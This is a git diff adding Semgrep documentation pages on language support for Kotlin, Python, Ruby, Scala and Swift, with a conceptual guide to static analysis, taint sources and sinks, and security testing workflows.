+semgrep scan --config p/javascript
+```
diff --git a/mintlify-docs/languages/kotlin.mdx b/mintlify-docs/languages/kotlin.mdx
new file mode 100644
index 0000000000..51196f93d8
--- /dev/null
+++ b/mintlify-docs/languages/kotlin.mdx
@@ -0,0 +1,87 @@
+---
+title: "Kotlin support"
+sidebarTitle: "Kotlin"
+---
+
+
+**TIP**
+
+Semgrep's Kotlin coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interfile analysis (cross-file)
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#kotlin-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+The following is an example of a Kotlin rule:
+
+- [CWE-327: Use of a broken or risky cryptographic algorithm. NullCipher does not encrypt anything; avoid](https://semgrep.dev/playground/r/kotlin.lang.security.no-null-cipher.no-null-cipher?editorMode=advanced)
+
+Many, but not all Kotlin rules require a Semgrep account. Sign in to Semgrep AppSec Platform to view this rule:
+
+- [CWE-776: XML entity expansion. Securely configure your XML parser](https://semgrep.dev/orgs/-/editor/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe?editorMode=advanced)
+
+## Kotlin support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+
+**NO NEED FOR LOCKFILES**
+
+Kotlin projects can be scanned **without** the need for lockfiles. See [Scan a project without lockfiles (beta)](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+### Supported package managers
+
+Semgrep supports the following Kotlin package managers:
+
+- Gradle
+- Maven
+
+### Analyses and features
+
+The following analyses and features are available for Kotlin:
+
+| | |
+| :--- | :--- |
+| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
+| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
+| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
+
+## Kotlin support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following Kotlin rule sets (many rules require a Semgrep account):
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/kotlin`](https://semgrep.dev/p/kotlin)
+
+
+Sample usage:
+
+```bash
+semgrep scan --config p/kotlin
+```
diff --git a/mintlify-docs/languages/python.mdx b/mintlify-docs/languages/python.mdx
new file mode 100644
index 0000000000..41c5557e0c
--- /dev/null
+++ b/mintlify-docs/languages/python.mdx
@@ -0,0 +1,235 @@
+---
+title: "Python support"
+sidebarTitle: "Python"
+---
+
+
+**TIP**
+
+Semgrep's Python coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Python support in Semgrep Code
+
+Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
+
+### Analyses and frameworks
+
+* Framework-specific control flow analysis
+* Interfile analysis (cross-file)
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#python-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+In addition to rules, the Semgrep engine itself can analyze code and implicit dataflows in the context of the following supported frameworks:
+
+| Framework / library | Category |
+| :--- | :--- |
+| Django | Web framework |
+| Flask | Web framework |
+| FastAPI | Web framework |
+
+
+| No | Library | Category |
+|----:|:-------------------------|:-----------------------------------------|
+| 0 | bcrypt | Cryptographic Library |
+| 1 | cryptography | Cryptographic Library |
+| 2 | passlib | Cryptographic Library |
+| 3 | pycrypto | Cryptographic Library |
+| 4 | pycryptodome | Cryptographic Library |
+| 5 | pycryptodomex | Cryptographic Library |
+| 6 | rsa | Cryptographic Library |
+| 7 | aiomysql | Database Library |
+| 8 | aiopg | Database Library |
+| 9 | aiosqlite | Database Library |
+| 10 | django | Database Library |
+| 11 | djangoorm | Database Library |
+| 12 | mysql-connector | Database Library |
+| 13 | mysqldb | Database Library |
+| 14 | peewee | Database Library |
+| 15 | pep249 | Database Library |
+| 16 | ponyorm | Database Library |
+| 17 | psycopg2 | Database Library |
+| 18 | pymongo | Database Library |
+| 19 | pymssql | Database Library |
+| 20 | pymysql | Database Library |
+| 21 | pyodbc | Database Library |
+| 22 | sqlalchemy | Database Library |
+| 23 | sqlobject | Database Library |
+| 24 | dill | Deserialization Library |
+| 25 | joblib | Deserialization Library |
+| 26 | jsonpickle | Deserialization Library |
+| 27 | lang | Deserialization Library |
+| 28 | numpy | Deserialization Library |
+| 29 | pandas | Deserialization Library |
+| 30 | pyyaml | Deserialization Library |
+| 31 | ruamel | Deserialization Library |
+| 32 | ruamel.yaml | Deserialization Library |
+| 33 | torch | Deserialization Library |
+| 34 | aiofile | File System Library |
+| 35 | django | File System Library |
+| 36 | fileinput | File System Library |
+| 37 | fs | File System Library |
+| 38 | io | File System Library |
+| 39 | linecache | File System Library |
+| 40 | openpyxl | File System Library |
+| 41 | os | File System Library |
+| 42 | pickleshare | File System Library |
+| 43 | pillow | File System Library |
+| 44 | shelve | File System Library |
+| 45 | shutil | File System Library |
+| 46 | stdlib | File System Library |
+| 47 | stdlib2 | File System Library |
+| 48 | stdlib3 | File System Library |
+| 49 | tempfile | File System Library |
+| 50 | toml | File System Library |
+| 51 | ldap3 | LDAP Library |
+| 52 | stdlib | Library With Code Execution Capabilities |
+| 53 | stdlib2 | Library With Code Execution Capabilities |
+| 54 | stdlib3 | Library With Code Execution Capabilities |
+| 55 | aiohttp | Network Library |
+| 56 | boto3 | Network Library |
+| 57 | botocore | Network Library |
+| 58 | httplib2 | Network Library |
+| 59 | httpx | Network Library |
+| 60 | paramiko | Network Library |
+| 61 | pycurl | Network Library |
+| 62 | requests | Network Library |
+| 63 | urllib3 | Network Library |
+| 64 | commands | OS Interaction Library |
+| 65 | dotenv | OS Interaction Library |
+| 66 | os | OS Interaction Library |
+| 67 | paramiko | OS Interaction Library |
+| 68 | popen2 | OS Interaction Library |
+| 69 | stdlib | OS Interaction Library |
+| 70 | stdlib2 | OS Interaction Library |
+| 71 | stdlib3 | OS Interaction Library |
+| 72 | subprocess | OS Interaction Library |
+| 73 | libxml2 | Regex Library |
+| 74 | re | Regex Library |
+| 75 | regex | Regex Library |
+| 76 | stdlib | Regex Library |
+| 77 | stdlib2 | Regex Library |
+| 78 | stdlib3 | Regex Library |
+| 79 | aws-lambda | Serverless Framework |
+| 80 | aiohttp | Web Framework |
+| 81 | cherrypy | Web Framework |
+| 82 | django | Web Framework |
+| 83 | django-crispy-forms | Web Framework |
+| 84 | django_allauth | Web Framework |
+| 85 | django_channels | Web Framework |
+| 86 | django_rest_frameworkapi | Web Framework |
+| 87 | fastapi | Web Framework |
+| 88 | flask | Web Framework |
+| 89 | flask-jwt-extended | Web Framework |
+| 90 | flask-login | Web Framework |
+| 91 | flask-session | Web Framework |
+| 92 | flask-talisman | Web Framework |
+| 93 | flask-wtf | Web Framework |
+| 94 | lang | Web Framework |
+| 95 | pyramid | Web Framework |
+| 96 | starlette | Web Framework |
+| 97 | wtforms | Web Framework |
+| 98 | libxml2 | XML Parsing Library |
+| 99 | lxml | XML Parsing Library |
+| 100 | sax | XML Parsing Library |
+| 101 | stdlib | XML Parsing Library |
+| 102 | stdlib2 | XML Parsing Library |
+| 103 | stdlib3 | XML Parsing Library |
+| 104 | xml | XML Parsing Library |
+| 105 | xml.dom | XML Parsing Library |
+| 106 | xml.dom.minidom | XML Parsing Library |
+| 107 | xml.dom.pulldom | XML Parsing Library |
+| 108 | xml.etree | XML Parsing Library |
+| 109 | xml.sax | XML Parsing Library |
+
+
+### Benchmark results exclusive of [AI](/semgrep-multimodal/overview) processing
+
+Semgrep's benchmarking process involves scanning open source repositories, triaging the findings, and making iterative rule updates. This process was developed and is used internally by the Semgrep security research team to monitor and improve rule performance.
+
+Results as of **September 9, 2024**:
+
+| Benchmark true positive rate (before AI processing) for latest ruleset | **84%** |
+| :--- | :--- |
+| Lines of code scanned | **~20 million** |
+| Repositories scanned | **192** |
+| Findings triaged to date | **~1000** |
+
+## Python support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+
+**NO NEED FOR LOCKFILES**
+
+Some Python projects can be scanned **without** the need for lockfiles. See [Scan a project without lockfiles (beta)](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+### Supported package managers
+
+Semgrep supports the following Python package managers:
+
+- pip
+- pip-tools
+- Pipenv
+- Poetry
+- uv
+
+### Analyses and features
+
+The following analyses and features are available for Python:
+
+**Reachability analysis**
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+**License detection**
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
+
+**Malicious dependency detection**
+
+Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
+
+**SBOM generation**
+
+Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
+
+## Python support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+{/* use a component here */}
+
+
+The Semgrep Registry provides the following JavaScript rulesets:
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/python`](https://semgrep.dev/p/python)
+- [`p/trailofbits`](https://semgrep.dev/p/trailofbits)
+- [`p/xss`](https://semgrep.dev/p/trailofbits)
+
+Sample usage:
+
+```bash
+semgrep scan --config p/python
+```
diff --git a/mintlify-docs/languages/ruby.mdx b/mintlify-docs/languages/ruby.mdx
new file mode 100644
index 0000000000..e6edcde718
--- /dev/null
+++ b/mintlify-docs/languages/ruby.mdx
@@ -0,0 +1,87 @@
+---
+title: "Ruby support"
+sidebarTitle: "Ruby"
+---
+
+
+**TIP**
+
+Semgrep's Ruby coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#ruby-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-502: Deserialization of untrusted data. Using `load` and `object_load` can cause remote code execution; use JSON securely instead](https://semgrep.dev/playground/r/ruby.lang.security.bad-deserialization.bad-deserialization?editorMode=advanced)
+- [CWE-185: Incorrect regular expression. Incorrectly-bounded regex should be terminated correctly](https://semgrep.dev/playground/r/ruby.rails.security.brakeman.check-validation-regex.check-validation-regex?editorMode=advanced)
+
+## Ruby support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following Ruby package manager:
+
+- RubyGems
+
+### Analyses and features
+
+The following analyses and features are available for Ruby:
+
+**Reachability analysis**
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+**License detection**
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
+
+**Malicious dependency detection**
+
+Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
+
+**SBOM generation**
+
+Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
+
+## Ruby support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following Ruby rulesets:
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/ruby`](https://semgrep.dev/p/ruby)
+- [`p/brakeman`](https://semgrep.dev/p/brakeman)
+
+Sample usage:
+
+
+```bash
+semgrep scan --config p/ruby
+```
diff --git a/mintlify-docs/languages/scala.mdx b/mintlify-docs/languages/scala.mdx
new file mode 100644
index 0000000000..322778ad87
--- /dev/null
+++ b/mintlify-docs/languages/scala.mdx
@@ -0,0 +1,76 @@
+---
+title: "Scala support"
+sidebarTitle: "Scala"
+---
+
+
+**TIP**
+
+Semgrep's Scala coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#scala-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-89: SQL injection. Avoid using unsanitized user input when generating SQL strings](https://semgrep.dev/playground/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli?editorMode=advanced)
+- [CWE-78: OS command injection. Sanitize variables that are used in external processes.](https://semgrep.dev/playground/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)
+
+## Scala support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following Scala package manager:
+
+- Maven
+
+### Analyses and features
+
+The following analyses and features are available for Scala:
+
+| | |
+| :--- | :--- |
+| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
+| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
+| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
+
+## Scala support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following Scala rule sets:
+
+tk
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/scala`](https://semgrep.dev/p/scala)
+
+Sample usage:
+
+```bash
+semgrep scan --config p/scala
+```
diff --git a/mintlify-docs/languages/swift.mdx b/mintlify-docs/languages/swift.mdx
new file mode 100644
index 0000000000..236dd7dfa1
--- /dev/null
+++ b/mintlify-docs/languages/swift.mdx
@@ -0,0 +1,48 @@
+---
+title: "Swift support"
+sidebarTitle: "Swift"
+---
+
+
+**TIP**
+
+Semgrep's Swift coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#swift-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-477: Use of obsolete function. `ptrace` API is forbidden from iOS applications](https://semgrep.dev/orgs/-/editor/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis?editorMode=advanced)
+- [CWE-327: Use of a broken or risky cryptographic algorithm. Avoid MD2](https://semgrep.dev/orgs/-/editor/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2?editorMode=advanced)
+
+To view these rules, sign in to Semgrep AppSec Platform.
+
+## Swift support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following Swift package manager:
+
+- SwiftPM
+
+### Analyses and features
+
+The following analyses and features are available for Swift:
+
+| | |
+| :--- | :--- |
+| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
+| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
+| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
diff --git a/mintlify-docs/learn.mdx b/mintlify-docs/learn.mdx
new file mode 100644
index 0000000000..7bf595fe51
--- /dev/null
+++ b/mintlify-docs/learn.mdx
@@ -0,0 +1,36 @@
+---
+title: "Semgrep Learning Guides"
+---
+
+This section is all about learning the concepts behind **Application Security** and **Secure Coding** with guided tutorials. Whether a seasoned security engineer looking for resources to share with your teams, a developer looking to improve code quality, or just getting started in cybersecurity, we hope you find these guides helpful.
+
+
+
+ Learn the fundamentals for how Static Analysis Security Testing (SAST) and Software Composition Analysis (SCA) work and why it matters.
+
+
+ Deep dive into common security risks with code samples for what issues like SQL injection, Cross-Site Scripting, Open Redirects, and more look like.
+
+
+ Learn how to write code that's secure by design for popular programming languages with cheat sheets to use as a reference.
+
+
+ Learn core security concepts by viewing video courses led by experts in the field.
+
+
diff --git a/mintlify-docs/learn/security-foundations/assets/sast-dataflow.drawio b/mintlify-docs/learn/security-foundations/assets/sast-dataflow.drawio
new file mode 100644
index 0000000000..03d4a7cfe7
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/assets/sast-dataflow.drawio
@@ -0,0 +1,73 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/learn/security-foundations/assets/sast-dataflow.png b/mintlify-docs/learn/security-foundations/assets/sast-dataflow.png
new file mode 100644
index 0000000000..6056500831
Binary files /dev/null and b/mintlify-docs/learn/security-foundations/assets/sast-dataflow.png differ
diff --git a/mintlify-docs/learn/security-foundations/assets/sca.drawio b/mintlify-docs/learn/security-foundations/assets/sca.drawio
new file mode 100644
index 0000000000..4cd543106a
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/assets/sca.drawio
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/learn/security-foundations/assets/sca.png b/mintlify-docs/learn/security-foundations/assets/sca.png
new file mode 100644
index 0000000000..f9b345f938
Binary files /dev/null and b/mintlify-docs/learn/security-foundations/assets/sca.png differ
diff --git a/mintlify-docs/learn/security-foundations/assets/workflow.drawio b/mintlify-docs/learn/security-foundations/assets/workflow.drawio
new file mode 100644
index 0000000000..b025fbca61
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/assets/workflow.drawio
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/mintlify-docs/learn/security-foundations/assets/workflow.png b/mintlify-docs/learn/security-foundations/assets/workflow.png
new file mode 100644
index 0000000000..8a257a9985
Binary files /dev/null and b/mintlify-docs/learn/security-foundations/assets/workflow.png differ
diff --git a/mintlify-docs/learn/security-foundations/overview.mdx b/mintlify-docs/learn/security-foundations/overview.mdx
new file mode 100644
index 0000000000..177de696d3
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/overview.mdx
@@ -0,0 +1,20 @@
+---
+title: "Security Foundations"
+description: "This section includes conceptual guides on application security essentials. These fundamental concepts can help strengthen your organization's security posture and can be a helpful reference when educating teams on security principles."
+---
+
+## Featured Articles
+
+* [Static Application Security Testing (SAST)](/learn/security-foundations/sast/overview): Identify vulnerabilities in applications before deployment with tools designed to analyze source code without executing it.
+
+* [Supply Chain Security (SCA)](/learn/security-foundations/supply-chain-security): Understand vulnerable dependencies that your source code relies upon.
+
+* [Secure Development Workflows](/learn/security-foundations/security-testing-workflow): Plan integration points for security testing into regular development workflows.
+
+
+## Additional Resources
+
+* [Vulnerabilities](/learn/vulnerabilities/overview): Descriptions for different classes of vulnerabilities you may encounter.
+
+* [Application Security Blog](https://semgrep.dev/blog/app-sec/): Recent blog posts about application security published by the Semgrep team.
+
diff --git a/mintlify-docs/learn/security-foundations/sast/overview.mdx b/mintlify-docs/learn/security-foundations/sast/overview.mdx
new file mode 100644
index 0000000000..ac245c7d1e
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/sast/overview.mdx
@@ -0,0 +1,85 @@
+---
+title: "Understanding static code scanning tools"
+sidebarTitle: "Static code scanning"
+---
+
+A **Static Application Security Testing (SAST)** tool can analyze your code without executing it, scanning for potential security vulnerabilities, bugs, and code quality issues early in the development process. SAST tools examine source code acting as an automated security expert, reviewing each line of code. This doesn’t replace human review but helps accelerate the discovery of vulnerabilities and the confidence in code being ready for release.
+
+Some key features of a good SAST tool:
+
+- The static analysis engine should **support whole program taint analysis** which tracks the flow of tainted data such as untrusted user input and any expressions that operate upon it that may be exploited.
+- **Support many programming language and frameworks** used during development, this includes core programming languages, infrastructure as code, and scripts.
+- Work and **integrate seamlessly with any existing developer tooling** like IDEs, pre-commit, PR/MR comments, CI/CD pipelines, etc. Finding data should be exportable into common formats such as proprietary JSON, SARIF, or CSV so information can be sent to vulnerability management systems and for viewing metrics/trends over time.
+- Support **easy to create customization**, which is crucial to be able to detect vulnerabilities for internally developed libraries and frameworks that out-of-the box solutions would miss.
+- When an issue is discovered, **provide detailed remediation** **guidance** **and code auto-fixing** capabilities helps reduce the time to remediate.
+
+We will explore how this works in the next section.
+
+## Source code analysis & taint tracking
+
+Static analysis tools perform many types of analysis, but a comprehensive taint analysis engine is essential for any SAST solution. Taint analysis is a data-flow analysis technique that tracks untrusted or **tainted data** as it moves through a function or method. This tainted data originates from **sources** such as user input. When tainted data isn't properly checked or sanitized, the analysis reports an issue whenever this data reaches a vulnerable function, known as a **sink**.
+
+Examples of **sources**:
+
+- HTTP request parameters
+- Cookie values
+- Database query results
+- File uploads
+
+Examples of **vulnerable** **sinks**:
+
+- SQL query execution functions
+- Command execution methods like **exec()** or **system()**
+- HTML rendering functions
+- File Input/Output system operations
+- Serialization/deserialization methods
+
+A data flow analysis can help with visualizing the path data takes through the software, from `req.params` (source) to `exec` (sink):
+
+
+
+
+
+Just finding the usage of a vulnerable function such as `exec(...)` could uncover issues, but that will produce a significant amount more of false positives than being able to reason through findings which come from actionable locations such as user-controlled input.
+
+## Broad language support
+
+Modern development teams don’t use just one language, your SAST solution should be capable of handling all of the modern languages you use daily to write and deploy software. With this in mind, your SAST tool should have support for your existing development practices by integrating into existing tools:
+
+- Cover the common programming languages in your organization usages e.g. C++, Java, JavaScript, Typescript, Golang, etc.
+- Frameworks for common languages such as Flask, Django, Express, Spring, Next.js, React, etc. should also be supported.
+- Support infrastructure as code languages such as Jsonnet, Terraform, Docker, etc.
+- Provide a default-ruleset that covers common vulnerabilities specific to those supported languages.
+- Support community driven rules to help increase coverage for a variety of languages that may not be in the default ruleset.
+
+## Incorporating security testing into your workflow
+
+To get teams to action on SAST findings they need to be surfaced in the places people will look at them, which is your development environment and workflows.
+
+Effective SAST implementation requires integration at multiple stages of development. For developers to adopt security scanning, it must fit seamlessly into their workflow.
+
+At the local development stage, SAST tools should provide immediate feedback as code is being written. This helps catch vulnerabilities before they even reach your repository. Later in the pipeline, integrations with your CI/CD systems ensure thorough scanning before deployment.
+
+For a comprehensive guide on how to effectively incorporate security testing throughout your development lifecycle, check out our detailed article on [Incorporating security testing into developer workflows](/learn/security-foundations/security-testing-workflow).
+
+## Customization
+
+Being able to write custom rules helps with edge-cases where internal knowledge is needed to be able accurately report if something is a security vulnerability or passes the code smell test. For example:
+
+- Your developers keep seeing the same issue get introduced into a codebase and want to prevent further additions.
+- You received a bug bounty report and want to ensure that the issue does not exist in other parts of your product or re-surface in the future.
+- Your internally written library exports a method e.g. `evaluateAndRespond` that executes code once called.
+- A custom `security.json` file needs to include `"encyrpt": true` for all new entries.
+- You want to ban any calls to a library you wrote 10 years ago, and get all code repositories to migrate to a new library.
+- You have created a custom HTTP request library that you want to track that as a source if any request parameters enter dangerous sink locations that lead to SQL Injection or SSRF.
+
+Without the ability to customize your SAST tool, it will be treated more like a check-box exercise for regulatory purposes. Instead, a SAST tool should *enable* your developers and security teams to internally detect and reduce risk at scale.
+
+## Fix guidance
+
+You won’t know how to fix a vulnerability out-right without already understanding the problem it introduces, so detection alone doesn’t always cut it. Your SAST solution should provide:
+
+- Default remediation advice which explains common ways to resolve the problem for the language you are working in.
+- The ability to extend the guidance to link to internal documentation, suggest libraries, or provide code examples of how you solve this within your organization.
+- Have [auto-fix](/writing-rules/rule-defined-fix) capabilities that can automatically fix the vulnerability in the susceptible piece of code.
+- Integrate with LLMs to provide contextual remediation guidance and code fix suggestions.
diff --git a/mintlify-docs/learn/security-foundations/security-testing-workflow.mdx b/mintlify-docs/learn/security-foundations/security-testing-workflow.mdx
new file mode 100644
index 0000000000..80a5734e39
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/security-testing-workflow.mdx
@@ -0,0 +1,68 @@
+---
+title: "Incorporating security testing into development workflows"
+sidebarTitle: "Security testing workflows"
+---
+
